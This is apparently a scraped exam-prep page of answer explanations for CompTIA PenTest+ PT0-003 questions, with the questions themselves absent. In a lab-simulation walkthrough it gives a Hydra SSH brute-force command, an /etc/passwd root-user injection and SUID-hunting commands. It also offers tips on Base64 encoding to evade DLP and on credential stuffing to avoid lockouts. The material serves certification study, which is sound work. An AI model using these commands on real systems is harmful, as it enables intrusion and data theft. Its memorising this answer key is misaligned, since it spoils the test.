Pass the CompTIA PenTest+ PT0-003 Questions and answers with CertsForce

To avoid locking out accounts while attempting access, the penetration tester should use credential stuffing.

Credential Stuffing:

Definition: An attack method where attackers use a list of known username and password pairs, typically obtained from previous data breaches, to gain unauthorized access to accounts.

Advantages: Unlike brute-force attacks, credential stuffing uses already known credentials, which reduces the number of attempts per account and minimizes the risk of triggering account lockout mechanisms.

Tool: Tools like Sentry MBA, Snipr, and others are commonly used for credential stuffing attacks.

Other Techniques:

MFA Fatigue: A social engineering tactic to exhaust users into accepting multi-factor authentication requests, not applicable for avoiding lockouts in this context.

Dictionary Attack: Similar to brute-force but uses a list of likely passwords; still risks lockout due to multiple attempts.

Brute-force Attack: Systematically attempts all possible password combinations, likely to trigger account lockouts due to high number of failed attempts.

Pentest References:

Password Attacks: Understanding different types of password attacks and their implications on account security.

Account Lockout Policies: Awareness of how lockout mechanisms work and strategies to avoid triggering them during penetration tests.

By using credential stuffing, the penetration tester can attempt to gain access using known credentials without triggering account lockout policies, ensuring a stealthier approach to password attacks.

======

The tester is conducting a phishing attack by cloning the company's login page to steal employee credentials.

Option A (BeEF) ❌: BeEF is used for browser exploitation, not phishing.

Option B (theHarvester) ❌: Used for OSINT, gathering emails, but does not conduct phishing attacks.

Option C (SET - Social Engineering Toolkit) ✅: Correct.

SET allows testers to clone web pages and perform phishing attacks.

Option D (GoPhish) ❌: GoPhish is a phishing simulation tool, but SET is specifically designed for credential harvesting.

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – Social Engineering & Phishing Attacks

The tester identified an HTTPS downgrade attack (e.g., SSL stripping). The best mitigation is to enforce HSTS (HTTP Strict Transport Security).

HSTS (Option A):

HSTS (Strict-Transport-Security) ensures that the browser always uses HTTPS, preventing downgrade attacks.

Example header:

Strict-Transport-Security: max-age=31536000; includeSubDomains

The command xp_cmdshell executes system-level commands from SQL Server. The command whoami /all is used to enumerate user privileges, group memberships, and security contexts on Windows systems.

From the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 8 – Post-Exploitation Techniques):

“Using xp_cmdshell and system commands like whoami /all allows testers to identify the privilege level of the database user and system access level.”

Encoding to Evade DLP:

Encoding (e.g., Base64) transforms data into a format that may bypass data loss prevention (DLP) tools.

DLP solutions often look for specific patterns (e.g., sensitive keywords, file headers) and may not recognize encoded data.

Why Not Other Options?

B (Compression): Compression reduces file size but does not typically bypass DLP detection mechanisms.

C (Encryption): Encrypted data is detectable by DLP tools, though its contents may not be readable.

D (Obfuscation): While obfuscation hides intent, encoding is more effective for bypassing automated detection.

CompTIA Pentest+ References:

Domain 3.0 (Attacks and Exploits)

Comprehensive and Detailed Explanation:

The vulnerability report identifies a TLS vulnerability on port 443 (HTTPS). However, the Nmap scan shows port 443 as closed, meaning the service is not running or reachable.

If the service associated with the vulnerability is not active, the reported issue cannot be valid. Therefore, the scan result contradicts the finding — making it a false positive (the scanner incorrectly flagged a vulnerability that doesn’t exist).

Why not the others:

A. True negative: Would mean no vulnerability exists and none was reported.

B. True positive: Would mean both the scan and vulnerability report agree that the service is running and vulnerable — not the case here.

C. False negative: Would mean a vulnerability exists but was not detected — also not the case.

CompTIA PT0-003 Mapping:

Domain 2.0: Information Gathering and Vulnerability Scanning

Interpret scan results and distinguish between true/false positives and negatives.

The command that would most likely exploit the services is:

hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22

The appropriate set of commands to escalate privileges is:

echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd

The remediations that should be taken after the successful privilege escalation are:

Remove the SUID bit from cp.

Make backup script not world-writable.

Comprehensive Step-by-Step Explanation of the Simulation

Part 1: Exploiting Vulnerable Service

Nmap Scan Analysis

Command: nmap -sC -T4 192.168.10.2

Purpose: This command runs a default script scan with timing template 4 (aggressive).

Output:

bash

Copy code

Port State Service

22/tcp open ssh

23/tcp closed telnet

80/tcp open http

111/tcp closed rpcbind

445/tcp open samba

3389/tcp closed rdp

Ports open are SSH (22), HTTP (80), and Samba (445).

Enumerating Samba Shares

Command: enum4linux -S 192.168.10.2

Purpose: To enumerate Samba shares and users.

Output:

makefile

Copy code

user:[games] rid:[0x3f2]

user:[nobody] rid:[0x1f5]

user:[bind] rid:[0x4ba]

user:[proxy] rid:[0x42]

user:[syslog] rid:[0x4ba]

user:[www-data] rid:[0x42a]

user:[root] rid:[0x3e8]

user:[news] rid:[0x3fa]

user:[lowpriv] rid:[0x3fa]

We identify a user lowpriv.

Selecting Exploit Command

Hydra Command: hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22

Purpose: To perform a brute force attack on SSH using the lowpriv user and a list of the 500 worst passwords.

-l lowpriv: Specifies the username.

-P 500-worst-passwords.txt: Specifies the password list.

-t 4: Uses 4 tasks/threads for the attack.

ssh://192.168.10.2:22: Specifies the SSH service and port.

Executing the Hydra Command

Result: Successful login as lowpriv user if a match is found.

Part 2: Privilege Escalation and Remediation

Finding SUID Binaries and Configuration Files

Command: find / -perm -2 -type f 2>/dev/null | xargs ls -l

Purpose: To find world-writable files.

Command: find / -perm -u=s -type f 2>/dev/null | xargs ls -l

Purpose: To find files with SUID permission.

Command: grep "/bin/bash" /etc/passwd | cut -d':' -f1-4,6,7

Purpose: To identify users with bash shell access.

Selecting Privilege Escalation Command

Command: echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd

Purpose: To create a new root user entry in the passwd file.

root2: Username.

5ZOYXRFHVZ7OY: Password hash.

0:0: User and group ID (root).

/root: Home directory.

/bin/bash: Default shell.

Executing the Privilege Escalation Command

Result: Creation of a new root user root2 with a specified password.

Remediation Steps Post-Exploitation

Remove SUID Bit from cp:

Command: chmod u-s /bin/cp

Purpose: Removing the SUID bit from cp to prevent misuse.

Make Backup Script Not World-Writable:

Command: chmod o-w /path/to/backup/script

Purpose: Ensuring backup script is not writable by all users to prevent unauthorized modifications.

Execution and Verification

Verifying Hydra Attack:

Run the Hydra command and monitor for successful login attempts.

Verifying Privilege Escalation:

After appending the new root user to the passwd file, attempt to switch user to root2 and check root privileges.

Implementing Remediation:

Apply the remediation commands to secure the system and verify the changes have been implemented.

By following these detailed steps, one can replicate the simulation and ensure a thorough understanding of both the exploitation and the necessary remediations.

Since the ICS is air-gapped (not connected to external networks), the best approach is manual assessment, which involves on-site testing, physical access, and reviewing configurations to identify vulnerabilities.

Option A (Channel scanning) ❌: This is used for wireless networks, not for isolated ICS systems.

Option B (Stealth scans) ❌: A stealth scan is a method to avoid detection while scanning, but it still requires network connectivity.

Option C (Source code analysis) ❌: If the ICS is a proprietary system, source code might not be available. Also, vulnerabilities could exist outside the code, such as misconfigurations.

Option D (Manual assessment) ✅: Correct. The ICS is offline, so a manual review of system settings, firmware, and configurations is the best approach.

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – ICS & SCADA Testing

Preserving artifacts ensures that key outputs from the penetration test, such as logs, screenshots, captured data, and any generated reports, are retained for analysis, reporting, and future reference.

Importance of Preserving Artifacts:

Documentation: Provides evidence of the test activities and findings.

Verification: Allows for verification and validation of the test results.

Reporting: Ensures that all critical data is available for the final report.

Types of Artifacts:

Logs: Capture details of the tools used, commands executed, and their outputs.

Screenshots: Visual evidence of the steps taken and findings.

Captured Data: Includes network captures, extracted credentials, and other sensitive information.

Reports: Interim and final reports summarizing the findings and recommendations.

Best Practices:

Secure Storage: Ensure artifacts are stored securely to prevent unauthorized access.

Backups: Create backups of critical artifacts to avoid data loss.

Documentation: Maintain detailed documentation of all artifacts for future reference.

References from Pentesting Literature:

Preserving artifacts is a standard practice emphasized in penetration testing methodologies to ensure comprehensive documentation and reporting of the test.

HTB write-ups often include references to preserved artifacts to support the findings and conclusions.

Step-by-Step ExplanationReferences:

Penetration Testing - A Hands-on Introduction to Hacking

HTB Official Writeups

======

DREAD (Damage, Reproducibility, Exploitability, Affected Users, Discoverability) is a threat modeling framework used to assess and prioritize risks.

Option A (Web application test) ❌: While DREAD can be used in web security, PTES (Penetration Testing Execution Standard) is a better framework for conducting pentests.

Option B (Mobile application test) ❌: PTES provides guidelines for mobile security testing, whereas DREAD is for threat modeling.

Option C (Thick client application) ❌: Thick clients require specific testing methodologies, not DREAD.

Option D (Creating a threat model) ✅: Correct.

DREAD is designed for risk assessment and prioritization.

PTES focuses on penetration testing execution, not threat modeling.

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – Threat Modeling with DREAD vs. PTES